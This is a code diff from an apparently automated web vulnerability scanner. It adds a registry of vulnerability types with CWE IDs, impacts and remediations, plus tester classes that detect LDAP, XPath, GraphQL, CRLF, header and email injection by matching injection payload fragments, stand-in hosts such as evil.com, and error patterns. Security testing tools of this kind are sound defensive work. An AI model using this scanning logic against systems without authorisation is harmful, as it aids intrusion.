"arbitrary_file_read": {"title": "Arbitrary File Read", "severity": "high", "cwe_id": "CWE-22", "description": "Reading arbitrary files via API or download endpoints outside intended scope.", "impact": "Access to credentials, configuration, source code, private keys.", "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths"},
"arbitrary_file_delete": {"title": "Arbitrary File Delete", "severity": "high", "cwe_id": "CWE-22", "description": "Deleting arbitrary files through path traversal in delete operations.", "impact": "Denial of service, security bypass by deleting .htaccess/config, data destruction.", "remediation": "1. Validate file paths strictly\n2. Use indirect references\n3. Implement soft-delete\n4. Restrict delete operations to specific directories"},
"zip_slip": {"title": "Zip Slip (Archive Path Traversal)", "severity": "high", "cwe_id": "CWE-22", "description": "Path traversal via crafted archive filenames writing files outside extraction directory.", "impact": "Arbitrary file write, web shell deployment, configuration overwrite.", "remediation": "1. Validate archive entry names\n2. Resolve and check extraction paths\n3. Use secure archive extraction libraries\n4. Extract to isolated directories"},
# Auth Advanced
"weak_password": {"title": "Weak Password Policy", "severity": "medium", "cwe_id": "CWE-521", "description": "Application accepts weak passwords that can be easily guessed or brute-forced.", "impact": "Account compromise through password guessing, credential stuffing success.", "remediation": "1. Enforce minimum 8+ character passwords\n2. Check against breached password databases\n3. Implement password strength meter\n4. Follow NIST SP 800-63B guidelines"},
"default_credentials": {"title": "Default Credentials", "severity": "critical", "cwe_id": "CWE-798", "description": "Application or service uses default factory credentials that haven't been changed.", "impact": "Complete unauthorized access to admin or management interfaces.", "remediation": "1. Force password change on first login\n2. Remove default accounts\n3. Implement strong default password generation\n4. Regular credential audits"},
"brute_force": {"title": "Brute Force Vulnerability", "severity": "medium", "cwe_id": "CWE-307", "description": "Login endpoint lacks rate limiting or account lockout allowing unlimited password attempts.", "impact": "Account compromise through automated password guessing.", "remediation": "1. Implement account lockout after N failures\n2. Add rate limiting per IP and per account\n3. Implement CAPTCHA after failures\n4. Use progressive delays"},
"two_factor_bypass": {"title": "Two-Factor Authentication Bypass", "severity": "high", "cwe_id": "CWE-287", "description": "Second authentication factor can be bypassed through implementation flaws.", "impact": "Account takeover even when 2FA is enabled, defeating the purpose of MFA.", "remediation": "1. Enforce 2FA check on all authenticated routes\n2. Use server-side session state for 2FA completion\n3. Rate limit code attempts\n4. Make codes single-use with short expiry"},
"oauth_misconfiguration": {"title": "OAuth Misconfiguration", "severity": "high", "cwe_id": "CWE-601", "description": "OAuth implementation flaws allowing redirect URI manipulation, state bypass, or token theft.", "impact": "Account takeover via stolen OAuth tokens, cross-site request forgery.", "remediation": "1. Strictly validate redirect_uri\n2. Require and validate state parameter\n3. Use PKCE for public clients\n4. Validate all OAuth scopes"},
# Authorization Advanced
"bfla": {"title": "Broken Function Level Authorization", "severity": "high", "cwe_id": "CWE-285", "description": "Admin API functions accessible to regular users without proper role checks.", "impact": "Privilege escalation to admin functionality, system configuration changes.", "remediation": "1. Implement role-based access control on all endpoints\n2. Deny by default\n3. Centralize authorization logic\n4. Audit all admin endpoints"},
"mass_assignment": {"title": "Mass Assignment", "severity": "high", "cwe_id": "CWE-915", "description": "Application binds user-supplied data to internal model fields without filtering.", "impact": "Privilege escalation, data manipulation, bypassing business rules.", "remediation": "1. Use explicit field whitelists\n2. Implement DTOs for input\n3. Validate all bound fields\n4. Use strong parameter filtering"},
"forced_browsing": {"title": "Forced Browsing / Broken Access Control", "severity": "medium", "cwe_id": "CWE-425", "description": "Direct URL access to restricted resources that should require authorization.", "impact": "Access to admin panels, sensitive files, debug interfaces, and internal tools.", "remediation": "1. Implement authentication on all protected routes\n2. Return 404 instead of 403 for sensitive paths\n3. Remove unnecessary files\n4. Use web server access controls"},
# Client-Side Advanced
"dom_clobbering": {"title": "DOM Clobbering", "severity": "medium", "cwe_id": "CWE-79", "description": "HTML injection that overrides JavaScript DOM properties through named elements.", "impact": "JavaScript logic bypass, potential XSS through clobbered variables.", "remediation": "1. Use strict variable declarations (const/let)\n2. Avoid global variable references\n3. Use safe DOM APIs\n4. Sanitize HTML input"},
"postmessage_vulnerability": {"title": "postMessage Vulnerability", "severity": "medium", "cwe_id": "CWE-346", "description": "postMessage handlers that don't validate message origin allowing cross-origin data injection.", "impact": "Cross-origin data injection, XSS via injected data, sensitive data exfiltration.", "remediation": "1. Always validate event.origin\n2. Validate message data structure\n3. Use specific target origins\n4. Minimize data sent via postMessage"},
"websocket_hijacking": {"title": "Cross-Site WebSocket Hijacking", "severity": "high", "cwe_id": "CWE-1385", "description": "WebSocket endpoints accepting connections from arbitrary origins without validation.", "impact": "Real-time data theft, message injection, session hijacking via WebSocket.", "remediation": "1. Validate Origin header on WebSocket upgrade\n2. Require authentication per-message\n3. Implement CSRF protection for handshake\n4. Use WSS (encrypted)"},
"prototype_pollution": {"title": "Prototype Pollution", "severity": "high", "cwe_id": "CWE-1321", "description": "Injection of properties into JavaScript Object.prototype through merge/extend operations.", "impact": "Authentication bypass, RCE via gadget chains, denial of service.", "remediation": "1. Freeze Object.prototype\n2. Sanitize __proto__ and constructor keys\n3. Use Map instead of plain objects\n4. Update vulnerable libraries"},
"css_injection": {"title": "CSS Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of CSS code through user input reflected in style contexts.", "impact": "Data exfiltration via CSS selectors, UI manipulation, phishing.", "remediation": "1. Sanitize CSS properties\n2. Use CSP style-src\n3. Avoid user input in style attributes\n4. Whitelist safe CSS properties"},
"tabnabbing": {"title": "Reverse Tabnabbing", "severity": "low", "cwe_id": "CWE-1022", "description": "Links with target=_blank without rel=noopener allowing opener tab navigation.", "impact": "Phishing via original tab replacement with fake login page.", "remediation": "1. Add rel='noopener noreferrer' to target=_blank links\n2. Use frameworks that add it automatically\n3. Audit user-generated links"},
# Infrastructure Advanced
"directory_listing": {"title": "Directory Listing Enabled", "severity": "low", "cwe_id": "CWE-548", "description": "Web server auto-indexing enabled exposing directory file structure.", "impact": "Exposure of file structure, sensitive files, backup files, and configuration.", "remediation": "1. Disable directory listing (Options -Indexes)\n2. Add index files to all directories\n3. Review web server configuration\n4. Use custom error pages"},
"debug_mode": {"title": "Debug Mode Enabled", "severity": "high", "cwe_id": "CWE-489", "description": "Application running in debug/development mode in production.", "impact": "Source code exposure, interactive console access, credential disclosure.", "remediation": "1. Disable debug mode in production\n2. Use environment-specific configuration\n3. Implement custom error pages\n4. Remove debug endpoints"},
"exposed_admin_panel": {"title": "Exposed Administration Panel", "severity": "medium", "cwe_id": "CWE-200", "description": "Admin panel accessible from public internet without IP restrictions.", "impact": "Brute force target, credential theft, administration access if default creds.", "remediation": "1. Restrict admin access by IP/VPN\n2. Use strong authentication + 2FA\n3. Change default admin paths\n4. Implement rate limiting"},
"exposed_api_docs": {"title": "Exposed API Documentation", "severity": "low", "cwe_id": "CWE-200", "description": "API documentation (Swagger/OpenAPI/GraphQL playground) publicly accessible.", "impact": "Complete API endpoint mapping, parameter discovery, potential unauthorized access.", "remediation": "1. Disable API docs in production\n2. Require authentication for docs\n3. Disable GraphQL introspection\n4. Use API gateway access controls"},
"insecure_cookie_flags": {"title": "Insecure Cookie Configuration", "severity": "medium", "cwe_id": "CWE-614", "description": "Session cookies missing security flags (Secure, HttpOnly, SameSite).", "impact": "Cookie theft via XSS (no HttpOnly), MITM (no Secure), CSRF (no SameSite).", "remediation": "1. Set HttpOnly on session cookies\n2. Set Secure flag on HTTPS sites\n3. Set SameSite=Lax or Strict\n4. Review all cookie configurations"},
"http_smuggling": {"title": "HTTP Request Smuggling", "severity": "high", "cwe_id": "CWE-444", "description": "Discrepancy between front-end and back-end HTTP parsing enabling request smuggling.", "impact": "Cache poisoning, request hijacking, authentication bypass, response queue poisoning.", "remediation": "1. Use HTTP/2 end-to-end\n2. Normalize Content-Length/Transfer-Encoding\n3. Reject ambiguous requests\n4. Update proxy/server software"},
"cache_poisoning": {"title": "Web Cache Poisoning", "severity": "high", "cwe_id": "CWE-444", "description": "Manipulation of cached responses via unkeyed inputs to serve malicious content.", "impact": "Mass XSS via cached responses, redirect poisoning, denial of service.", "remediation": "1. Include all inputs in cache key\n2. Validate unkeyed headers\n3. Use Vary header correctly\n4. Implement cache key normalization"},
# Logic & Data
"rate_limit_bypass": {"title": "Rate Limit Bypass", "severity": "medium", "cwe_id": "CWE-770", "description": "Rate limiting can be bypassed through header manipulation or request variation.", "impact": "Enables brute force attacks, API abuse, and denial of service.", "remediation": "1. Rate limit by authenticated user, not just IP\n2. Don't trust X-Forwarded-For for rate limiting\n3. Implement at multiple layers\n4. Use sliding window algorithms"},
"parameter_pollution": {"title": "HTTP Parameter Pollution", "severity": "medium", "cwe_id": "CWE-235", "description": "Duplicate parameters exploit parsing differences between front-end and back-end.", "impact": "WAF bypass, logic bypass, access control circumvention.", "remediation": "1. Normalize parameters server-side\n2. Reject duplicate parameters\n3. Use consistent parsing\n4. Test with duplicate params"},
"type_juggling": {"title": "Type Juggling / Type Coercion", "severity": "high", "cwe_id": "CWE-843", "description": "Loose type comparison exploited to bypass authentication or security checks.", "impact": "Authentication bypass, security check circumvention via type confusion.", "remediation": "1. Use strict comparison (=== in PHP/JS)\n2. Validate input types\n3. Use strong typing\n4. Hash comparison with timing-safe functions"},
"insecure_deserialization": {"title": "Insecure Deserialization", "severity": "critical", "cwe_id": "CWE-502", "description": "Untrusted data deserialized without validation enabling code execution.", "impact": "Remote code execution, denial of service, authentication bypass.", "remediation": "1. Don't deserialize untrusted data\n2. Use JSON instead of native serialization\n3. Implement integrity checks\n4. Restrict deserialization types"},
"subdomain_takeover": {"title": "Subdomain Takeover", "severity": "high", "cwe_id": "CWE-284", "description": "Dangling DNS records pointing to unclaimed cloud resources.", "impact": "Domain impersonation, phishing, cookie theft, authentication bypass.", "remediation": "1. Audit DNS records regularly\n2. Remove dangling CNAME records\n3. Monitor cloud resource lifecycle\n4. Use DNS monitoring tools"},
"host_header_injection": {"title": "Host Header Injection", "severity": "medium", "cwe_id": "CWE-644", "description": "Host header value used in URL generation enabling poisoning attacks.", "impact": "Password reset poisoning, cache poisoning, SSRF via Host header.", "remediation": "1. Validate Host against allowed values\n2. Use absolute URLs from configuration\n3. Don't use Host header for URL generation\n4. Implement ALLOWED_HOSTS"},
"timing_attack": {"title": "Timing Attack", "severity": "medium", "cwe_id": "CWE-208", "description": "Response time variations leak information about valid usernames or secret values.", "impact": "Username enumeration, token/password character extraction.", "remediation": "1. Use constant-time comparison for secrets\n2. Normalize response times\n3. Add random delays\n4. Use same code path for valid/invalid input"},
"improper_error_handling": {"title": "Improper Error Handling", "severity": "low", "cwe_id": "CWE-209", "description": "Verbose error messages disclosing internal information in production.", "impact": "Source path disclosure, database details, technology stack exposure aiding further attacks.", "remediation": "1. Use custom error pages in production\n2. Log errors server-side only\n3. Return generic error messages\n4. Disable debug/stack trace output"},
"sensitive_data_exposure": {"title": "Sensitive Data Exposure", "severity": "high", "cwe_id": "CWE-200", "description": "Sensitive data (PII, credentials, tokens) exposed in responses, URLs, or storage.", "impact": "Identity theft, account compromise, regulatory violations (GDPR, HIPAA).", "remediation": "1. Minimize data in API responses\n2. Encrypt sensitive data at rest/transit\n3. Remove sensitive data from URLs\n4. Implement data classification"},
"information_disclosure": {"title": "Information Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Unintended exposure of internal details: versions, paths, technology stack.", "impact": "Aids further attacks with technology-specific exploits and internal knowledge.", "remediation": "1. Remove version headers\n2. Disable directory listing\n3. Remove HTML comments\n4. Secure .git and config files"},
"api_key_exposure": {"title": "API Key Exposure", "severity": "high", "cwe_id": "CWE-798", "description": "API keys or secrets hardcoded in client-side code or public files.", "impact": "Unauthorized API access, financial impact, data breach via exposed keys.", "remediation": "1. Use environment variables for secrets\n2. Implement key rotation\n3. Use backend proxy for API calls\n4. Monitor key usage for anomalies"},
"source_code_disclosure": {"title": "Source Code Disclosure", "severity": "high", "cwe_id": "CWE-540", "description": "Application source code accessible through misconfigured servers, backups, or VCS exposure.", "impact": "White-box attack surface, credential discovery, vulnerability identification.", "remediation": "1. Block .git, .svn access\n2. Remove source maps in production\n3. Delete backup files\n4. Configure web server to block sensitive extensions"},
"backup_file_exposure": {"title": "Backup File Exposure", "severity": "high", "cwe_id": "CWE-530", "description": "Backup files, database dumps, or archives accessible from web server.", "impact": "Full source code access, database contents including credentials.", "remediation": "1. Store backups outside web root\n2. Remove old backup files\n3. Block backup extensions in web server\n4. Encrypt backup files"},
"version_disclosure": {"title": "Software Version Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Specific software versions exposed enabling targeted CVE exploitation.", "impact": "Targeted exploitation of known vulnerabilities for the specific version.", "remediation": "1. Remove version from headers\n2. Update software regularly\n3. Remove version-disclosing files\n4. Customize error pages"},
# Crypto & Supply
"weak_encryption": {"title": "Weak Encryption Algorithm", "severity": "medium", "cwe_id": "CWE-327", "description": "Use of weak/deprecated encryption algorithms (DES, RC4, ECB mode).", "impact": "Data decryption, MITM attacks, breaking confidentiality protections.", "remediation": "1. Use AES-256-GCM or ChaCha20\n2. Disable weak cipher suites\n3. Use TLS 1.2+ only\n4. Regular cryptographic review"},
"weak_hashing": {"title": "Weak Hashing Algorithm", "severity": "medium", "cwe_id": "CWE-328", "description": "Use of weak hash algorithms (MD5, SHA1) for security-critical purposes.", "impact": "Password cracking, hash collision attacks, integrity bypass.", "remediation": "1. Use bcrypt/scrypt/argon2 for passwords\n2. Use SHA-256+ for integrity\n3. Always use salts\n4. Implement key stretching"},
"weak_random": {"title": "Weak Random Number Generation", "severity": "medium", "cwe_id": "CWE-330", "description": "Predictable random numbers used for security tokens or session IDs.", "impact": "Token prediction, session hijacking, CSRF token bypass.", "remediation": "1. Use cryptographic PRNG (secrets module, SecureRandom)\n2. Avoid Math.random() for security\n3. Use sufficient entropy\n4. Regular token rotation"},
"cleartext_transmission": {"title": "Cleartext Transmission of Sensitive Data", "severity": "medium", "cwe_id": "CWE-319", "description": "Sensitive data transmitted over unencrypted HTTP connections.", "impact": "Credential theft via MITM, session hijacking, data exposure.", "remediation": "1. Enforce HTTPS everywhere\n2. Implement HSTS with preload\n3. Redirect HTTP to HTTPS\n4. Set Secure flag on cookies"},
"vulnerable_dependency": {"title": "Vulnerable Third-Party Dependency", "severity": "varies", "cwe_id": "CWE-1104", "description": "Third-party library with known CVEs in use.", "impact": "Depends on specific CVE - from XSS to RCE.", "remediation": "1. Regular dependency updates\n2. Use automated vulnerability scanning\n3. Monitor CVE advisories\n4. Implement SCA in CI/CD"},
"outdated_component": {"title": "Outdated Software Component", "severity": "medium", "cwe_id": "CWE-1104", "description": "Significantly outdated CMS, framework, or server with multiple known CVEs.", "impact": "Multiple exploitable vulnerabilities, targeted attacks.", "remediation": "1. Update to latest stable version\n2. Enable automatic security updates\n3. Monitor end-of-life announcements\n4. Implement patch management"},
"insecure_cdn": {"title": "Insecure CDN Resource Loading", "severity": "low", "cwe_id": "CWE-829", "description": "External scripts loaded without Subresource Integrity (SRI) hashes.", "impact": "Supply chain attack via CDN compromise, mass XSS.", "remediation": "1. Add integrity= attribute to script/link tags\n2. Use crossorigin attribute\n3. Self-host critical resources\n4. Implement CSP with hash sources"},
"container_escape": {"title": "Container Escape / Misconfiguration", "severity": "critical", "cwe_id": "CWE-250", "description": "Container running with elevated privileges or exposed host resources.", "impact": "Host system compromise, lateral movement, data access across containers.", "remediation": "1. Don't use --privileged\n2. Drop unnecessary capabilities\n3. Don't mount Docker socket\n4. Use seccomp/AppArmor profiles"},
# Cloud & API
"s3_bucket_misconfiguration": {"title": "S3/Cloud Storage Misconfiguration", "severity": "high", "cwe_id": "CWE-284", "description": "Cloud storage bucket with public read/write access.", "impact": "Data exposure, data tampering, hosting malicious content.", "remediation": "1. Enable S3 Block Public Access\n2. Review bucket policies\n3. Use IAM policies for access\n4. Enable access logging"},
"cloud_metadata_exposure": {"title": "Cloud Metadata Exposure", "severity": "critical", "cwe_id": "CWE-918", "description": "Cloud instance metadata service accessible exposing credentials.", "impact": "IAM credential theft, cloud account compromise, lateral movement.", "remediation": "1. Use IMDSv2 (token-required)\n2. Block metadata endpoint in firewall\n3. Implement SSRF protection\n4. Use minimal IAM roles"},
"serverless_misconfiguration": {"title": "Serverless Misconfiguration", "severity": "medium", "cwe_id": "CWE-284", "description": "Serverless function with excessive permissions or missing auth.", "impact": "Unauthorized function execution, environment variable exposure, privilege escalation.", "remediation": "1. Apply least privilege IAM roles\n2. Require authentication\n3. Don't expose secrets in env vars\n4. Implement function authorization"},
"graphql_introspection": {"title": "GraphQL Introspection Enabled", "severity": "low", "cwe_id": "CWE-200", "description": "GraphQL introspection enabled in production exposing full API schema.", "impact": "Complete API mapping, discovery of sensitive types and mutations.", "remediation": "1. Disable introspection in production\n2. Use persisted queries\n3. Implement field-level authorization\n4. Use query allowlisting"},
"graphql_dos": {"title": "GraphQL Denial of Service", "severity": "medium", "cwe_id": "CWE-400", "description": "GraphQL endpoint vulnerable to resource-exhaustion via complex/nested queries.", "impact": "Service unavailability, resource exhaustion, increased infrastructure costs.", "remediation": "1. Implement query depth limits\n2. Add query complexity analysis\n3. Set timeout on queries\n4. Use persisted/allowlisted queries"},
"rest_api_versioning": {"title": "Insecure API Version Exposure", "severity": "low", "cwe_id": "CWE-284", "description": "Older API versions with weaker security controls still accessible.", "impact": "Bypass newer security controls via old API versions.", "remediation": "1. Deprecate and remove old API versions\n2. Apply same security to all versions\n3. Monitor old version usage\n4. Set deprecation timelines"},
"soap_injection": {"title": "SOAP/XML Web Service Injection", "severity": "high", "cwe_id": "CWE-91", "description": "Injection in SOAP/XML web service parameters manipulating queries.", "impact": "Data extraction, XXE via SOAP, SOAP action spoofing for unauthorized operations.", "remediation": "1. Validate SOAP input\n2. Disable XML external entities\n3. Validate SOAPAction header\n4. Use WS-Security"},
"api_rate_limiting": {"title": "Missing API Rate Limiting", "severity": "medium", "cwe_id": "CWE-770", "description": "API endpoints lacking rate limiting allowing unlimited requests.", "impact": "Brute force, scraping, DoS, API abuse at scale.", "remediation": "1. Implement rate limiting per user/IP\n2. Return 429 with Retry-After\n3. Use API gateway throttling\n4. Implement sliding window algorithm"},
"excessive_data_exposure": {"title": "Excessive Data Exposure", "severity": "medium", "cwe_id": "CWE-213", "description": "APIs returning more data than the client needs, including sensitive fields.", "impact": "Exposure of sensitive fields (password hashes, tokens, PII) to clients.", "remediation": "1. Use response DTOs/serializers\n2. Implement field-level filtering\n3. Apply least-data principle\n4. Separate admin and user endpoints"}
}
# Tester class mappings
# Tester class mappings (100 types)
TESTER_CLASSES = {
# Injection (10 original + 11 advanced)
"xss_reflected": XSSReflectedTester,
"xss_stored": XSSStoredTester,
"xss_dom": XSSDomTester,
@@ -338,26 +458,118 @@ class VulnerabilityRegistry:
"command_injection": CommandInjectionTester,
"ssti": SSTITester,
"nosql_injection": NoSQLInjectionTester,
"ldap_injection": LdapInjectionTester,
"xpath_injection": XpathInjectionTester,
"graphql_injection": GraphqlInjectionTester,
"crlf_injection": CrlfInjectionTester,
"header_injection": HeaderInjectionTester,
"email_injection": EmailInjectionTester,
"expression_language_injection": ELInjectionTester,
"log_injection": LogInjectionTester,
"html_injection": HtmlInjectionTester,
"csv_injection": CsvInjectionTester,
"orm_injection": OrmInjectionTester,
# XSS Advanced
"blind_xss": XSSStoredTester, # Similar detection pattern
"mutation_xss": XSSReflectedTester, # Similar detection pattern
# File Access (5 original + 3 new)
"lfi": LFITester,
"rfi": RFITester,
"path_traversal": PathTraversalTester,
"xxe": XXETester,
"file_upload": FileUploadTester,
"arbitrary_file_read": ArbitraryFileReadTester,
"arbitrary_file_delete": ArbitraryFileDeleteTester,
"zip_slip": ZipSlipTester,
# Request Forgery (3 original + 2 new)
"ssrf": SSRFTester,
"ssrf_cloud": SSRFTester, # Same tester, different payloads
"ssrf_cloud": SSRFTester,
"csrf": CSRFTester,
"cors_misconfig": CORSTester,
"graphql_introspection": GraphqlIntrospectionTester,
"graphql_dos": GraphqlDosTester,
# Auth (3 original + 5 new)
"auth_bypass": AuthBypassTester,
"jwt_manipulation": JWTManipulationTester,
"session_fixation": SessionFixationTester,
"weak_password": WeakPasswordTester,
"default_credentials": DefaultCredentialsTester,
"brute_force": AuthBypassTester, # Similar pattern
"two_factor_bypass": TwoFactorBypassTester,
"oauth_misconfiguration": OauthMisconfigTester,
# Authorization (3 original + 3 new)
"idor": IDORTester,
"bola": BOLATester,
"privilege_escalation": PrivilegeEscalationTester,
"cors_misconfig": CORSTester,
"bfla": BflaTester,
"mass_assignment": MassAssignmentTester,
"forced_browsing": ForcedBrowsingTester,
# Client-Side (3 original + 6 new)
"clickjacking": ClickjackingTester,
"open_redirect": OpenRedirectTester,
"dom_clobbering": DomClobberingTester,
"postmessage_vulnerability": PostMessageVulnTester,
"websocket_hijacking": WebsocketHijackTester,
"prototype_pollution": PrototypePollutionTester,
"css_injection": CssInjectionTester,
"tabnabbing": TabnabbingTester,
# Infrastructure (3 original + 7 new)
"security_headers": SecurityHeadersTester,
"ssl_issues": SSLTester,
"http_methods": HTTPMethodsTester,
"directory_listing": DirectoryListingTester,
"debug_mode": DebugModeTester,
"exposed_admin_panel": ExposedAdminPanelTester,
"exposed_api_docs": ExposedApiDocsTester,
"insecure_cookie_flags": InsecureCookieFlagsTester,
"http_smuggling": HttpSmugglingTester,
"cache_poisoning": CachePoisoningTester,
# Logic (9 types)
"race_condition": RaceConditionTester,
"business_logic": BusinessLogicTester,
"rate_limit_bypass": RateLimitBypassTester,
"parameter_pollution": ParameterPollutionTester,
"type_juggling": TypeJugglingTester,
"timing_attack": TimingAttackTester,
"host_header_injection": HostHeaderInjectionTester,
"insecure_deserialization": BaseTester, # AI-driven
"subdomain_takeover": SubdomainTakeoverTester,
"improper_error_handling": BaseTester, # AI-driven
# Data Exposure (6 types)
"sensitive_data_exposure": SensitiveDataExposureTester,
"information_disclosure": InformationDisclosureTester,
"api_key_exposure": ApiKeyExposureTester,
"source_code_disclosure": SourceCodeDisclosureTester,
"backup_file_exposure": BackupFileExposureTester,
"version_disclosure": VersionDisclosureTester,
# Crypto & Supply (8 types - mostly inspection/AI-driven)
"weak_encryption": BaseTester,
"weak_hashing": BaseTester,
"weak_random": BaseTester,
"cleartext_transmission": BaseTester,
"vulnerable_dependency": VulnerableDependencyTester,
"outdated_component": VulnerableDependencyTester,
"insecure_cdn": BaseTester,
"container_escape": ContainerEscapeTester,
# Cloud & API (7 types)
"s3_bucket_misconfiguration": S3BucketMisconfigTester,
"cloud_metadata_exposure": CloudMetadataExposureTester,
"serverless_misconfiguration": ServerlessMisconfigTester,
"rest_api_versioning": BaseTester, # AI-driven
"soap_injection": BaseTester, # AI-driven
"api_rate_limiting": RateLimitBypassTester,
"excessive_data_exposure": SensitiveDataExposureTester,
}
def __init__(self):
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,532 @@
"""
NeuroSploit v3 - Advanced Injection Vulnerability Testers
Testers for LDAP, XPath, GraphQL, CRLF, Header, Email, EL, Log, HTML, CSV, and ORM injection.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class LdapInjectionTester(BaseTester):
"""Tester for LDAP Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "ldap_injection"
self.error_patterns = [
r"javax\.naming\.NamingException",
r"LDAPException",
r"ldap_search\(\)",
r"ldap_bind\(\)",
r"Invalid DN syntax",
r"Bad search filter",
r"DSA is unavailable",
r"LDAP error code \d+",
r"cn=.*,\s*ou=.*,\s*dc=",
r"objectClass=",
r"No such object",
r"invalid attribute description",
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for LDAP injection indicators"""
# Check for LDAP error messages
for pattern in self.error_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.8, f"LDAP error detected: {match.group(0)[:100]}"
# Wildcard injection - check if directory listing returned
if "*" in payload:
# Multiple DN entries suggest directory enumeration
dn_count = len(re.findall(r"dn:\s+\S+", response_body, re.IGNORECASE))
if dn_count > 1:
return True, 0.85, f"LDAP wildcard returned {dn_count} directory entries"
# Filter manipulation - check for unexpected data volume
if ")(|" in payload or "*)(objectClass" in payload:
if response_status == 200 and len(response_body) > 5000:
return True, 0.6, "LDAP filter manipulation may have returned extra data"
return False, 0.0, None
class XpathInjectionTester(BaseTester):
"""Tester for XPath Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xpath_injection"
self.error_patterns = [
r"XPathException",
r"Invalid XPath",
r"xpath syntax error",
r"javax\.xml\.xpath",
r"XPathEvalError",
r"xmlXPathEval:",
r"XPATH syntax error",
r"DOMXPath",
r"SimpleXMLElement::xpath\(\)",
r"lxml\.etree\.XPathEvalError",
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for XPath injection indicators"""
# XPath error messages
for pattern in self.error_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.85, f"XPath error detected: {match.group(0)[:100]}"
# Boolean-based XPath injection - true condition returning data
if ("' or '1'='1" in payload or "or 1=1" in payload):
if response_status == 200:
# Check for XML-like data in response
xml_tags = re.findall(r"<[a-zA-Z][^>]*>", response_body)
if len(xml_tags) > 5:
return True, 0.65, "XPath boolean injection may have returned XML data"
# Check for exposed XML node data
if "' | //" in payload or "extractvalue(" in payload.lower():
if re.search(r"<\?xml\s+version=", response_body):
return True, 0.7, "XML document exposed via XPath injection"
return False, 0.0, None
class GraphqlInjectionTester(BaseTester):
"""Tester for GraphQL Injection / Introspection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "graphql_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for GraphQL introspection and injection indicators"""
body_lower = response_body.lower()
# Introspection query response - schema exposure
if "__schema" in payload or "__type" in payload or "introspection" in payload.lower():
if '"__schema"' in response_body or '"__type"' in response_body:
return True, 0.9, "GraphQL introspection enabled - schema exposed"
if '"types"' in response_body and '"queryType"' in response_body:
return True, 0.9, "GraphQL schema types exposed via introspection"
# GraphQL error messages revealing structure
graphql_errors = [
r'"errors"\s*:\s*\[',
r"Cannot query field",
r"Unknown argument",
r"Field .* not found in type",
r"Syntax Error.*GraphQL",
r"GraphQL error",
]
for pattern in graphql_errors:
if re.search(pattern, response_body, re.IGNORECASE):
# Error messages can reveal field/type names
if re.search(r'"message"\s*:\s*".*(?:field|type|argument)', response_body, re.IGNORECASE):
return True, 0.7, "GraphQL error reveals schema information"
# Mutation that returned success unexpectedly
if "mutation" in payload.lower() and response_status == 200:
if '"data"' in response_body and '"errors"' not in response_body:
return True, 0.5, "GraphQL mutation succeeded - verify authorization"
return False, 0.0, None
class CrlfInjectionTester(BaseTester):
"""Tester for CRLF Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "crlf_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CRLF injection - injected headers appearing in response"""
# Check if our injected header appeared in response headers
headers_lower = {k.lower(): v for k, v in response_headers.items()}
if "x-test" in headers_lower:
return True, 0.95, f"CRLF injection confirmed: X-Test header injected with value '{headers_lower['x-test']}'"
if "x-injected" in headers_lower:
return True, 0.95, f"CRLF injection confirmed: X-Injected header present"
# Check for Set-Cookie injection
if "set-cookie" in headers_lower and "neurosploit" in str(headers_lower.get("set-cookie", "")).lower():
return True, 0.9, "CRLF injection: injected Set-Cookie header detected"
# Check if payload characters are reflected unencoded in Location header
if "location" in headers_lower:
location = headers_lower["location"]
if "\r\n" in location or "%0d%0a" in location.lower():
return True, 0.8, "CRLF characters in Location header"
return False, 0.0, None
class HeaderInjectionTester(BaseTester):
"""Tester for Host Header Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "header_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for Host header reflected in response URLs"""
body_lower = response_body.lower()
# Check if injected host value appears in response links
evil_markers = ["evil.com", "attacker.com", "neurosploit.test"]
for marker in evil_markers:
if marker in payload.lower():
if marker in body_lower:
# Check if it appears in URLs, links, or redirects
url_pattern = rf'(?:href|src|action|url|link|redirect)\s*[=:]\s*["\']?[^"\']*{re.escape(marker)}'
if re.search(url_pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Host header injected into response URL: {marker}"
return True, 0.7, f"Injected host value '{marker}' reflected in response"
# Password reset poisoning check
if "password" in body_lower and "reset" in body_lower:
headers_lower = {k.lower(): v for k, v in response_headers.items()}
if response_status in [200, 302]:
return True, 0.5, "Password reset response may use Host header for link generation"
return False, 0.0, None
class EmailInjectionTester(BaseTester):
"""Tester for Email Header Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "email_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for email header injection success indicators"""
body_lower = response_body.lower()
# Check for CC/BCC injection indicators
if any(h in payload.lower() for h in ["cc:", "bcc:", "\r\nto:", "%0acc:", "%0abcc:"]):
# Successful email send with injected headers
if response_status == 200:
success_indicators = [
"email sent", "message sent", "mail sent",
"successfully sent", "email delivered", "sent successfully",
]
for indicator in success_indicators:
if indicator in body_lower:
return True, 0.75, f"Email injection: '{indicator}' after CC/BCC injection attempt"
# Check for multiple recipient confirmation
if re.search(r"(?:sent to|delivered to|recipients?)\s*:?\s*\d+", response_body, re.IGNORECASE):
